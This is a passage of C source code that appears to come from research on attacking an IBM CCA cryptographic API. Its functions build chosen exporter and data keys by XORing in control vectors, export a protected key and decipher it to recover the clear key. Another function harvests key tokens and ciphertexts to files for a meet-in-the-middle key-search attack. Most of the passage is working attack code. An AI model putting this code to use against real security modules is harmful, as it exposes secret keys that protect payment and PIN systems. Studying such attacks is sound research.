			make_hex_key(buffer,kt->keyleft);
			fprintf(results,"keyleft  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->keyright);
			fprintf(results,"keyright %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvleft);
			fprintf(results,"cvkeft   %s<BR>\n",buffer);
			make_hex_key(buffer,kt->cvright);
			fprintf(results,"cvright  %s<BR>\n",buffer);
			make_hex_key(buffer,kt->res4);
			fprintf(results,"res 45   %s %2x %2x %2x <BR>\n",buffer,kt->res5[8],kt->res5[9],kt->res5[10],kt->res5[10]);
			fprintf(results,"keylen     %2x<BR>\n",kt->keylen);			
			fprintf(results,"tvv      %2x %2x %2x %2x<BR>\n",kt->tvv[0],kt->tvv[1],kt->tvv[2],kt->tvv[3]);          // token validation value
			}

		}
		        
	if( keytoken[0] == 0x00 )	// null token
		{

		fprintf(results,"%s NULL<BR>\n",tname);

		// dump the whole token raw
		make_hex_key(buffer,keytoken);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+8);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+16);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+24);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+32);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+40);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+48);
		fprintf(results,"%s |<BR>\n",buffer);
		make_hex_key(buffer,keytoken+56);
		fprintf(results,"%s |<BR>\n",buffer);
		}

	fprintf(results,"-END-------------------<BR></FONT>\n",tname);
	}

//--------------------------------------------------------------------------------------------------//
//-------------------------------- make_chosen_key --------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int make_chosen_key(UCHAR *keytoken,UCHAR *type,UCHAR *highbits,UCHAR *lowbits)
    {
    DEFINE_RRED

    long    kpi_rule_array_cnt;
    UCHAR   kpi_rule_array[24];

    UCHAR   kpi_key_part[16];

    //----------------------- build an empty key token ----------------

    // (n.b 'keytoken' has been supplied as a fn parameter)
    long    ktb_rule_array_cnt = 2;
    UCHAR   ktb_rule_array[24] = "INTERNALKEY-PART";
    UCHAR   ktb_key_value[16];
    UCHAR   ktb_mst_key_verif_pat[8];
    UCHAR   ktb_control_vector[16];
    long    ktb_reserv1 = 0;

	fprintf(results,"--CALL---------------------- make_chosen_key()<BR>\n");

    fill_null(ktb_key_value);
    fill_null(ktb_mst_key_verif_pat);
    fill_null(ktb_control_vector);

	//---- Special case for double length data keys ------

	if( !strncmp(type,"SPECIALD",8) )
		{
		// need to change the ktb rule array
		ktb_rule_array_cnt=2;//123456781234567812345678
		memcpy(ktb_rule_array,"INTERNALCV      ",8*2);

		// make a double length datakey CV manually

		fprintf(results,"SPECIALD double length CV insertion<BR>\n");
		
		//(already filled with null above)
		// nb this control vector is INT_DLB_KP_DATA
		ktb_control_vector[2]=0x7D;		// set left half
		ktb_control_vector[4]=0x03;
		ktb_control_vector[5]=0x48;
		ktb_control_vector[10]=0x7D;	// set right half
		ktb_control_vector[12]=0x03;
		ktb_control_vector[13]=0x28;

		// build the token with it in
		Key_Token_Build( A_RETRES , A_ED ,
			             keytoken ,
						 TYPE_USECV ,
						 &ktb_rule_array_cnt , ktb_rule_array ,
						 ktb_key_value ,
						 &ktb_reserv1 ,
						 NULL , NULL ,
						 ktb_control_vector,
						 NULL , NULL , NULL ,
						 ktb_mst_key_verif_pat);

		DT(keytoken);

		if( check("(SPECIAL) Build Empty Key Part Token",RETRES) )
			return ERROR;

		}

	//---- End special case -----

	else
		{
		Key_Token_Build( A_RETRES , A_ED ,
			             keytoken ,
						 type ,
						 &ktb_rule_array_cnt , ktb_rule_array ,
						 ktb_key_value ,
						 &ktb_reserv1 ,
						 NULL , NULL ,
						 ktb_control_vector,
						 NULL , NULL , NULL ,
						 ktb_mst_key_verif_pat);

		DT(keytoken);

		if( check("Build Empty Key Part Token",RETRES) )
			return ERROR;
		}
    
    //------------------ fill key token with first key part ---------------

    fill_null(kpi_key_part);
	make_key(kpi_key_part,highbits,lowbits);  // this key part is the "chosen one"
    
    fill_blank(kpi_rule_array);
    memcpy(kpi_rule_array,"FIRST   ",8);
    kpi_rule_array_cnt=1;

    Key_Part_Import( A_RETRES , A_ED ,
                     &kpi_rule_array_cnt , kpi_rule_array ,
                     kpi_key_part ,
                     keytoken );

	DT(keytoken);

    if( check("KPI1",RETRES) )
		return ERROR;

    //------------------- now add the final part -------------

    fill_null(kpi_key_part);
    make_key(kpi_key_part,KEYSTOCK_EVEN_NULL,KEYSTOCK_EVEN_NULL);   // this key part is "null"

    fill_blank(kpi_rule_array);
    memcpy(kpi_rule_array, "LAST    ", 8);
    kpi_rule_array_cnt = 1;

    Key_Part_Import( A_RETRES , A_ED , 
                     &kpi_rule_array_cnt , kpi_rule_array ,
                     kpi_key_part ,
                     keytoken );

	DT(keytoken);

    if( check("KPI2",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- extract_clear_key -----------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int extract_clear_key(UCHAR *clearkey,UCHAR *keytoken)
    {
    DEFINE_RRED
    UCHAR datakey_left[65];
    UCHAR datakey_right[65];
    UCHAR exporter[65];
    UCHAR externaltoken[65];
    UCHAR clearkey_left[8];
    UCHAR clearkey_right[8];
    UCHAR init_vector[8];
    UCHAR chaining_vector[18];
    IDESTOKEN0 *kt;
	EDESTOKEN0 *et;

	int count;

    // create the same key as both exporter & data

    UCHAR *keyl=KEYSTOCK_ODD_ONE;
    UCHAR *keyr=KEYSTOCK_ODD_TWO;	

	UCHAR key_with_left_cv[16];
	UCHAR key_with_right_cv[16];

	fprintf(results,"--CALL---------------------- extract_clear_key()<BR>\n");

	kt=(IDESTOKEN0 *)keytoken;
    
	// make a chosen exporter & make a data key
	// which will decrypt the token under chosen exporter (by including
	// the cv in the data key

    make_chosen_key(exporter,TYPE_EXPORTER,keyl,keyr);

	for(count=0;count<=7;count++)
		{
		if( kt->cvleft[1] == 0x00 )		// if it is generic DATA type CV
			{
			// DATA keys have the special case that when exported, they are
			// encrypted with a null control vector (which is different from
			// their usual internal control vector).

			key_with_left_cv[count]   = keyl[count];
			key_with_left_cv[count+8] = keyr[count];

			key_with_right_cv[count]   = keyl[count];
			key_with_right_cv[count+8] = keyr[count];
			}
		else
			{
			key_with_left_cv[count]   = keyl[count] ^ kt->cvleft[count];
			key_with_left_cv[count+8] = keyr[count] ^ kt->cvleft[count];

			key_with_right_cv[count]   = keyl[count] ^ kt->cvright[count];
			key_with_right_cv[count+8] = keyr[count] ^ kt->cvright[count];
			}
	
		}
	
    make_chosen_key(datakey_left,SPECIAL_TYPE_DATA_DOUBLE,key_with_left_cv,key_with_left_cv+8);	
	make_chosen_key(datakey_right,SPECIAL_TYPE_DATA_DOUBLE,key_with_right_cv,key_with_right_cv+8);

	DT(keytoken);
	DT(exporter);
	DT(datakey_left);
	DT(datakey_right);

    //----------------------- export key to external key token ----------------

    fill_null(externaltoken);  // make this a null key token

    Key_Export( A_RETRES , A_ED ,
                TYPE_TOKEN ,
                keytoken ,
                exporter ,
                externaltoken );

	DT(externaltoken);

    if( check("Key_Export",RETRES) )
		return ERROR;

    //---------------------- now use CCA decipher function to reveal key -----
	
	//point et at the extracted key token
	et=(EDESTOKEN0 *)externaltoken;

    memset(clearkey,'\0',8);
    fill_null(init_vector);
    fill_null(chaining_vector);

    Decipher( A_RETRES , A_ED ,
              datakey_left ,
              I_LONG(8) ,
              et->keyleft ,
              init_vector ,
              I_LONG(0) ,
              NULL ,
              chaining_vector ,
              clearkey_left );

    if( check("Test Decipher Left Half",RETRES) )
		return ERROR;

    Decipher( A_RETRES , A_ED ,
              datakey_right ,
              I_LONG(8) ,
              et->keyright ,
              init_vector ,
              I_LONG(0) ,
              NULL ,
              chaining_vector ,
              clearkey_right );

    if( check("Test Decipher Right Half",RETRES) )
		return ERROR;

    // copy the clear key into the result param
    memcpy(clearkey,clearkey_left,8);
    memcpy(clearkey+8,clearkey_right,8);

	return NOERROR;
    }

int build_random_key(UCHAR *keytoken,UCHAR *type,int len_type)
    {
    // after completion of this function, the
    // token 'keytoken' contains a conjured key,
    // which may or may not be valid

    DEFINE_RRED
    long    ktb_rule_array_cnt = 2;
    UCHAR   ktb_rule_array[] = "INTERNALKEY     ";
    UCHAR   ktb_key_value[16];
    UCHAR   ktb_mst_key_verif_pat[8];
    UCHAR   ktb_control_vector[16];
    long    ktb_reserv1 = 0;

	UCHAR dktemp[65];
	IDESTOKEN0 *dkt;

	fprintf(results,"(NOPRINT)--CALL---------------------- build_random_key()<BR>\n");

    memset(keytoken,'\0',65);

    // generate a totally random key value
    fill_null(ktb_key_value);

    Random_Number_Generate( A_RETRES , A_ED ,
                            (UCHAR*)"RANDOM  " ,
                            ktb_key_value );
    if( check("(NOPRINT) Random Number Generate (Left)",RETRES) )
		return ERROR;

    if( len_type == LEN_DOUBLE )
        {
        Random_Number_Generate( A_RETRES , A_ED ,
                                (UCHAR*)"RANDOM  " ,
                                (ktb_key_value+8) );

        if( check("(NOPRINT) Random Number Generate (Right)",RETRES) )
			return ERROR;
        }

	// copy a mkvp in from a generated key
	generate_data_key(dktemp);
	dkt=(IDESTOKEN0 *)dktemp;
	memcpy(ktb_mst_key_verif_pat,dkt->mkvp,8);


    fill_null(ktb_control_vector);

	// *** we need special case for LEN_DOUBLE ***

	if( len_type == LEN_DOUBLE )
		{
		fprintf(results,"LEN_DOUBLE not supported in current version<BR>\n");
		return ERROR;
		}

    // build a key token (calculating tvv etc.)
    Key_Token_Build( A_RETRES , A_ED ,
                     keytoken ,
                     type ,
                     &ktb_rule_array_cnt , ktb_rule_array ,
                     ktb_key_value ,
                     &ktb_reserv1 ,
                     NULL,
                     NULL,
                     ktb_control_vector,
                     NULL,
                     NULL,
                     NULL,
                     ktb_mst_key_verif_pat);

	//DT(keytoken);

    if( check("(NOPRINT) Build Conjured Token",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- get_default_cv --------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int get_default_cv(UCHAR *control_vector,UCHAR *type)
    {
    DEFINE_RRED
    long    ktb_rule_array_cnt = 2;
    UCHAR   ktb_rule_array[] = "INTERNALNO-CV   ";
    UCHAR   ktb_key_value[16];
    UCHAR   ktb_mst_key_verif_pat[8];
    long    ktb_reserv1 = 0;

    UCHAR temptoken[65];

	fprintf(results,"--CALL---------------------- get_default_cv()<BR>\n");

    fill_null(temptoken);
    fill_null(ktb_key_value);
    memset(control_vector,'\0',16);

     // build a key token (calculating tvv etc.)
    Key_Token_Build( A_RETRES , A_ED ,
                     temptoken ,
                     type ,
                     &ktb_rule_array_cnt , ktb_rule_array ,
                     ktb_key_value ,
                     &ktb_reserv1 ,
                     NULL,
                     NULL,
                     control_vector,
                     NULL,
                     NULL,
                     NULL,
                     ktb_mst_key_verif_pat);

	DT(temptoken);

	// fill in the result directly from the key token
		{
		IDESTOKEN0 *idt;
		idt=(IDESTOKEN0 *)temptoken;
		memcpy(control_vector,idt->cvleft,8);
		memcpy(control_vector+8,idt->cvright,8);
		}

    if( check("Build Token for CV extraction",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- bind_new_cv_to_external_token -----------------------------------//
//--------------------------------------------------------------------------------------------------//

int bind_new_cv_to_external_token(UCHAR *keytoken,UCHAR *keysource,UCHAR *cvsource)
    {
    DEFINE_RRED

    long    ktb_rule_array_cnt = 3;
    UCHAR   ktb_rule_array[] = "EXTERNALKEY     CV      ";
    UCHAR   ktb_key_value[16];
    UCHAR   ktb_mst_key_verif_pat[8];
    long    ktb_reserv1 = 0;
    UCHAR   new_control_vector[16];
 
    IDESTOKEN0 *keysourcetoken;
    IDESTOKEN0 *cvsourcetoken;

	fprintf(results,"--CALL---------------------- bind_new_cv_to_external_token()<BR>\n");

    memset(keytoken,'\0',65);
    fill_null(ktb_mst_key_verif_pat);

    keysourcetoken=(IDESTOKEN0 *)keysource;
    memcpy(ktb_key_value,keysourcetoken->keyleft,8);
    memcpy(ktb_key_value+8,keysourcetoken->keyright,8);

    cvsourcetoken=(IDESTOKEN0 *)cvsource;
    memcpy(new_control_vector,cvsourcetoken->cvleft,8);
    memcpy(new_control_vector+8,cvsourcetoken->cvright,8);

	DT(keysource);
	DT(cvsource);

    // build a key token (calculating tvv etc.)
    Key_Token_Build( A_RETRES , A_ED ,
                     keytoken ,
                     TYPE_USECV ,
                     &ktb_rule_array_cnt , ktb_rule_array ,
                     ktb_key_value ,
                     &ktb_reserv1 ,
                     NULL , NULL ,
                     new_control_vector,
                     NULL , NULL , NULL ,
                     ktb_mst_key_verif_pat);

	DT(keytoken);

    if( check("Build Token with changed claimed CV",RETRES) )
		return ERROR;

	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- swap_cv_halves --------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

int swap_cv_halves(UCHAR *keytoken)
    {
    // NB: THIS FUNCTION DOES NOT CREATE A FULLY VALID TOKEN (TVV NOT RECALCULATED)
    // It only swaps the halves of the control vector in the raw representation
    // of the token

    IDESTOKEN0 *kt;
    UCHAR cv_half[8];

    kt=(IDESTOKEN0 *)keytoken;

    memcpy(cv_half,kt->cvleft,8);
    memcpy(kt->cvleft,kt->cvright,8);
    memcpy(kt->cvright,cv_half,8);
	
	return NOERROR;
    }

//--------------------------------------------------------------------------------------------------//
//-------------------------------- bb_test_replicate_keys ------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void bb_test_replicate_keys(void)
	{

	DEFINE_RRED
    UCHAR nullkt[65];
	UCHAR exporter[65];

	printf("bb_test_replicate_keys\n");
	fprintf(results,"<HR><H2>********************* bb_test_replicate_keys ************</H2><BR>\n" \
		            "3.13 Building Blocks - generate some replicate exporters & try out some export<BR>\n<BR>\n");
	
    fill_null(nullkt);
    fill_null(exporter);
    
    // make a replicate exporter key
    
    Key_Generate( A_RETRES , A_ED ,
                  "OP  " ,
                  "SINGLE-R" ,
                  "EXPORTER" , "        " ,
                  nullkt , nullkt ,
                  exporter , nullkt );

	DT(exporter);
	
    if( check("(NOPRINT) Exporter key generation",RETRES) )
		return;

	fprintf(results,"<B>SUCCESS (ASSUMED)</B><BR>\n");        
	
	// nb: test_export_under exports a single length data key
	if( !test_export_under(exporter) )
		{
		fprintf(results,"<BR>\n<B>SUCCESS (CONFIRMED)</B><BR>\n");    
		}
	else
		{
		fprintf(results,"<BR>\n<B>FAILURE (ON TEST)</B><BR>\n");    		
		}    
	}

//--------------------------------------------------------------------------------------------------//
//-------------------------------- attack_mim ------------------------------------------------------//
//--------------------------------------------------------------------------------------------------//

void attack_mim(void)
    {
    DEFINE_RRED
    long count;

    UCHAR test_vector[8];
    UCHAR datakey[65];
	UCHAR nullkt[65];
	UCHAR variant_key[65];
    UCHAR ciphertext[8];
    UCHAR init_vector[8];
    UCHAR chaining_vector[18];

	UCHAR unknown_key[65];
	UCHAR test_pattern_key[65];

    FILE *fp_tvs;
	FILE *fp_tokens;

    long    ktb_rule_array_cnt = 3;
    UCHAR   ktb_rule_array[] = "INTERNAL" "KEY     " "CV      " ;
    UCHAR   ktb_data_vector[16] = { 0x00 , 0x00 , 0x7d , 0x00 , 0x03 , 0x09 , 0x00 , 0x00 ,
		                            0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00   };

	UCHAR   ktb_exporter_vector[16] = { 0x00 , 0x41 , 0x7d , 0x00 , 0x03 , 0x48 , 0x00 , 0x00 ,
		                                0x00 , 0x41 , 0x7d , 0x00 , 0x03 , 0x28 , 0x00 , 0x00   };

    UCHAR   rand_xorer[16] =          { 0x7d , 0x00 , 0x7d , 0x00 , 0x03 , 0x09 , 0x00 , 0x00 ,
		                                0x00 , 0x00 , 0x00 , 0x7d , 0x00 , 0x7d , 0x00 , 0x7d   };

    long    ktb_reserv1 = 0;

    long    kpi_rule_array_cnt;
    UCHAR   kpi_rule_array[24];
    UCHAR   kpi_key_part[16];

	UCHAR externaltoken[65];
    
    UCHAR datakeybase[65];
    UCHAR exporterkeybase[65];

  UCHAR emkvp[8];
	int success=FALSE;
    int limiter=0;

	// permissions reqd:
    // generate replicate
    // encipher|decipher
    // key_export

	// .tv file format definition
	//
	// SIZE    QTY             DESCRIPTION 
	// -----------------------------------------------------------------------
	// 8       1               Test Pattern (usually all zeroes)
	// 4       1               Number of test vectors (tv_count_size)
	// 8       tv_count_size   A test vector (the test pattern (encrypted 
	//                         under the nth key variant, where applicable))
	//

	printf("attack_mim\n");
	fprintf(results,"<HR><H2>********************* attack_mim ************</H2><BR>\n" \
		            "5.3 Complete Attack - Meet in the Middle<BR>\n<BR>\n");

	fill_null(nullkt);

    if( (fp_tvs=fopen("rand_data_harvest.tv","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "rand_data_harvest.tv" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

	if( (fp_tokens=fopen("rand_data_harvest.tokens","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "rand_data_harvest.tokens" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

    fill_null(test_vector);  // test vector is all zeroes

	// put in the header for the test vector file
	fwrite(test_vector,sizeof(UCHAR),8,fp_tvs);
	count=HARVEST_SIZE;
	fwrite(&count,sizeof(long),1,fp_tvs);
	
    // loop generates keys, records them and generates test vector
    for(count=1;count<=HARVEST_SIZE;count++)
        {
        if( generate_data_key(datakey) )
			return;

        fill_null(init_vector);
        fill_null(chaining_vector);

        // encipher the test vector
        Encipher( A_RETRES , A_ED ,
                  datakey , 
                  I_LONG(16) ,
                  test_vector ,
                  init_vector ,
                  I_LONG(0) , 
                  NULL ,
                  I_LONG(0) ,
                  chaining_vector ,
                  ciphertext );

        if( check("(NOPRINT) Test vector harvesting (datakey)",RETRES) )
			return;

        fwrite(datakey,65,1,fp_tokens);
        fwrite(ciphertext,8,1,fp_tvs);

		if( count % ( HARVEST_SIZE >> 4 ) == 0 )		// give the user some progress feedback
			printf("%d\n",count);

    break;		//************ DON'T BOTHER WITH FULL RAND_DATA_HARVEST
				// (HAVE BEEN SUCCESSFULL WITH THIS TEST ALREADY)
        }

    fclose(fp_tvs);
	fclose(fp_tokens);

	fprintf(results,"Data random test vectors harvested.<BR>\n");

	if( (fp_tvs=fopen("variant_data_harvest.tv","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "variant_data_harvest.tv" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

	if( (fp_tokens=fopen("variant_data_harvest.stoken","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "variant_data_harvest.stoken" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

	// put in the header for the test vector file
	fwrite(test_vector,sizeof(UCHAR),8,fp_tvs);
	count=HARVEST_SIZE;
	fwrite(&count,sizeof(long),1,fp_tvs);

	// first stage - make a key part

	fill_null(nullkt);
    fill_null(datakeybase);
	
    Key_Token_Build( A_RETRES , A_ED ,
              datakeybase, (UCHAR*)"USE-CV  " , I_LONG(2) , (UCHAR*)"INTERNALCV      " ,
              nullkt , nullkt , nullkt , nullkt , ktb_data_vector , nullkt , nullkt , (UCHAR*)"        " , emkvp );

     if( check("(NOPRINT) data key base token build",RETRES) )
		return;

    memcpy(((IDESTOKEN0 *)datakeybase)->cvleft,ktb_data_vector,8);
	memcpy(((IDESTOKEN0 *)datakeybase)->cvright,ktb_data_vector+8,8);

	DT(datakeybase);

    // make a random part of a data key

    Key_Generate( A_RETRES , A_ED ,
                  (UCHAR*)"OP  " ,
                  (UCHAR*)"SINGLE  " ,
                  (UCHAR*)"TOKEN   " , (UCHAR*)"        " ,
                  nullkt , nullkt ,
                  datakeybase , nullkt );

	DT(datakeybase);
	DT(nullkt);


    if( check("(NOPRINT) data key base generation",RETRES) )
		return;

    fwrite(datakeybase,65,1,fp_tokens);

    // set up long term parameters for final Key_Part_Import stage
    fill_blank(kpi_rule_array);
    memcpy(kpi_rule_array,"LAST    ",8);
    kpi_rule_array_cnt=1;

    // finish the import for each key one at a time
    for(count=0;count<HARVEST_SIZE;count++)
        {
		INCKEY current_variant;
		INCKEY temp_swap;

        //---------------- build up the current variant value to XOR in ------------------
        current_variant.longs[1] = 0x00000000 ;
        
        current_variant.longs[1] |= ( (count << 1) & 0x000000FE ) ;   // first 7 bits
        current_variant.longs[1] |= ( (count << 2) & 0x0000FE00 ) ;   // second 7 bits
        current_variant.longs[1] |= ( (count << 3) & 0x00FE0000 ) ;   // third 7 bits

        current_variant.longs[0] = 0x00000000 ;

        temp_swap.longs[0]=current_variant.longs[0];
        temp_swap.longs[1]=current_variant.longs[1];

        // reverse bytes to make it count right
        current_variant.bytes[7]=temp_swap.bytes[4];
        current_variant.bytes[6]=temp_swap.bytes[5];
        current_variant.bytes[5]=temp_swap.bytes[6];
        current_variant.bytes[4]=temp_swap.bytes[7];

        // now set even parity on the parity bits

        set_even_parity(current_variant.bytes);

		fill_null(kpi_key_part);
        memcpy(kpi_key_part,current_variant.bytes,8);
        memcpy(variant_key,datakeybase,65);  // copy in the base to work with
        
        // complete the key
        Key_Part_Import( A_RETRES , A_ED , 
                         &kpi_rule_array_cnt , kpi_rule_array,
                         kpi_key_part ,
                         variant_key );

		
        if( check("(NOPRINT)Key_Part_Import : data key final cv difference",RETRES) )
			return;

        fill_null(init_vector);
        fill_null(chaining_vector);


        // encipher the test vector
        Encipher( A_RETRES , A_ED ,
                  variant_key , 
                  I_LONG(16) ,
                  test_vector ,
                  init_vector ,
                  I_LONG(0) , 
                  NULL ,
                  I_LONG(0) ,
                  chaining_vector ,
                  ciphertext );

        if( check("(NOPRINT) Test vector harvesting (datakey)",RETRES) )
			return;

        fwrite(ciphertext,8,1,fp_tvs);

		if( count % ( HARVEST_SIZE >> 4 ) == 0 )		// give the user some progress feedback
			printf("%d\n",count);

        }

	//------------------- complete it as the final test vector ! --------------

	fill_null(kpi_key_part);
    memcpy(kpi_key_part,rand_xorer,8);		// ****** MKB FIX : used to copy 16 bytes of rand_xorer

    memcpy(variant_key,datakeybase,65);  // copy in the base to work with
        
    // complete the key
    Key_Part_Import( A_RETRES , A_ED , 
                     &kpi_rule_array_cnt , kpi_rule_array,
                     kpi_key_part ,
                     variant_key );

		
    if( check("(NOPRINT)Key_Part_Import : data key final cv difference",RETRES) )
		return;

	DT(variant_key);

	fwrite(variant_key,65,1,fp_tokens);
	memcpy(test_pattern_key,variant_key,65);

	fclose(fp_tokens);
	fclose(fp_tvs);

	fprintf(results,"Data variant test vectors harvested.<BR>\n");


	//----------------------------------- exporter harvesting ---------------------------

	if( (fp_tvs=fopen("variant_exporter_harvest.tv","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "variant_exporter_harvest.tv" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

	if( (fp_tokens=fopen("variant_exporter_harvest.stoken","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "variant_exporter_harvest.stoken" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

	// put in the header for the test vector file
	fwrite(test_vector,sizeof(UCHAR),8,fp_tvs);
	count=HARVEST_SIZE;
	fwrite(&count,sizeof(long),1,fp_tvs);

	// first stage - make a key part

	fill_null(nullkt);
    fill_null(exporterkeybase);

     Key_Token_Build( A_RETRES , A_ED ,
              exporterkeybase, (UCHAR*)"USE-CV  " , I_LONG(2) , (UCHAR*)"INTERNALCV      " ,
              nullkt , nullkt , nullkt , nullkt , ktb_exporter_vector , nullkt , nullkt , (UCHAR*)"        " , emkvp );

     if( check("(NOPRINT) exporter key base token build",RETRES) )
		return;

	 DT(exporterkeybase);

	 memcpy(((IDESTOKEN0 *)exporterkeybase)->cvleft,ktb_exporter_vector,8);
	 memcpy(((IDESTOKEN0 *)exporterkeybase)->cvright,ktb_exporter_vector+8,8);

	 DT(exporterkeybase);

    // generate replicate exporter keks
    // make a random part of an exporter key

    Key_Generate( A_RETRES , A_ED ,
                  (UCHAR*)"OP  " ,
                  (UCHAR*)"SINGLE-R" ,
                  (UCHAR*)"TOKEN   " , (UCHAR*)"        " ,
                  nullkt , nullkt ,
                  exporterkeybase , nullkt );

    if( check("(NOPRINT) exporter key base generation",RETRES) )
		return;

	DT(exporterkeybase);

    fwrite(exporterkeybase,65,1,fp_tokens);

    // set up long term parameters for final Key_Part_Import stage
    fill_blank(kpi_rule_array);
    memcpy(kpi_rule_array,"LAST    ",8);
    kpi_rule_array_cnt=1;

    // finish the import for each key one at a time
    for(count=0;count<HARVEST_SIZE;count++)
        {
		INCKEY current_variant;
		INCKEY temp_swap;

        //---------------- build up the current variant value to XOR in ------------------
        current_variant.longs[1] = 0x00000000 ;
        
        current_variant.longs[1] |= ( (count << 1) & 0x000000FE ) ;   // first 7 bits
        current_variant.longs[1] |= ( (count << 2) & 0x0000FE00 ) ;   // second 7 bits
        current_variant.longs[1] |= ( (count << 3) & 0x00FE0000 ) ;   // third 7 bits

        current_variant.longs[0] = 0x00000000 ;

        temp_swap.longs[0]=current_variant.longs[0];
        temp_swap.longs[1]=current_variant.longs[1];

        // reverse bytes to make it count right
        current_variant.bytes[7]=temp_swap.bytes[4];
        current_variant.bytes[6]=temp_swap.bytes[5];
        current_variant.bytes[5]=temp_swap.bytes[6];
        current_variant.bytes[4]=temp_swap.bytes[7];

        // now set even parity on the parity bits

        set_even_parity(current_variant.bytes);

        memcpy(kpi_key_part,current_variant.bytes,8);		// copy variant in to both halves
        memcpy(kpi_key_part+8,current_variant.bytes,8);		// so as to preserve SINGLE-Rness

        memcpy(variant_key,exporterkeybase,65);  // copy in the base to work with
        

        // complete the key
        Key_Part_Import( A_RETRES , A_ED , 
                         &kpi_rule_array_cnt , kpi_rule_array,
                         kpi_key_part ,
                         variant_key );

		
        if( check("(NOPRINT)Key_Part_Import : exporter final cv difference",RETRES) )
			return;

        fill_null(init_vector);
        fill_null(chaining_vector);

        // make the test vector
		// (this is a key export operation)
      				

		//----------------------- export key to external key token ----------------

		fill_null(externaltoken);

		Key_Export( A_RETRES , A_ED ,
					TYPE_TOKEN ,
					test_pattern_key ,
					variant_key ,
					externaltoken );
		
		if( check("(NOPRINT)Key_Export",RETRES) )
			return;
				
        fwrite(((IDESTOKEN0 *)externaltoken)->keyleft,8,1,fp_tvs);

		if( count % ( HARVEST_SIZE >> 4 ) == 0 )		// give the user some progress feedback
			printf("%d\n",count);

        }


	fclose(fp_tokens);
	fclose(fp_tvs);

	fprintf(results,"Exporter variant test vectors harvested.<BR>\n");

   	//------------------- complete it as the final exporter ! --------------

    memcpy(kpi_key_part,rand_xorer,16);
    memcpy(variant_key,exporterkeybase,65);  // copy in the base to work with
        
    // complete the key
    Key_Part_Import( A_RETRES , A_ED , 
                     &kpi_rule_array_cnt , kpi_rule_array,
                     kpi_key_part ,
                     variant_key );
	
    if( check("(NOPRINT)Key_Part_Import : exporter final cv difference",RETRES) )
		return;

	DT(variant_key);

	//------------------- generate and export a key under this final exporter

	fill_null(unknown_key);

    Key_Generate( A_RETRES , A_ED ,
                  (UCHAR*)"OP  " ,
                  (UCHAR*)"DOUBLE  " ,
                  TYPE_EXPORTER , (UCHAR*)"        " ,
                  nullkt , nullkt ,
                  unknown_key , nullkt );

    if( check("(NOPRINT) unknown exporter key generation",RETRES) )
		return;

	DT(unknown_key);

	fill_null(externaltoken);

	Key_Export( A_RETRES , A_ED ,
				TYPE_TOKEN ,
				unknown_key ,
				variant_key ,
				externaltoken );
		
	if( check("Key_Export",RETRES) )
		return;

	DT(externaltoken);

	if( (fp_tokens=fopen("final_data_harvest.stoken","wb")) == NULL )
        {
		printf("File access error opening '%s' results file for writing.\n" \
			   "Please check the directory from which the executable was\n" \
			   "launched for write permissions / sufficient disk space.\n" , "variant_exporter_harvest.stoken" );
		
		fprintf(results,"File access error on opening for writing.<BR>\n<BR>\n" \
		 	            "<B>FAILURE (FILE ACCESS ERROR)</B><BR>\n" );       
        return;
        }

  fwrite(unknown_key,65,1,fp_tokens);
	fwrite(externaltoken,65,1,fp_tokens);

	fclose(fp_tokens);
	
	fprintf(results,"<B>SUCCESS (ASSUMED)</B><BR>\n");

	//fprintf(results,"<B>SUCCESS (CONFIRMED)</B><BR>\n");            

}


//-----------------------------------------------------------------------------------------------

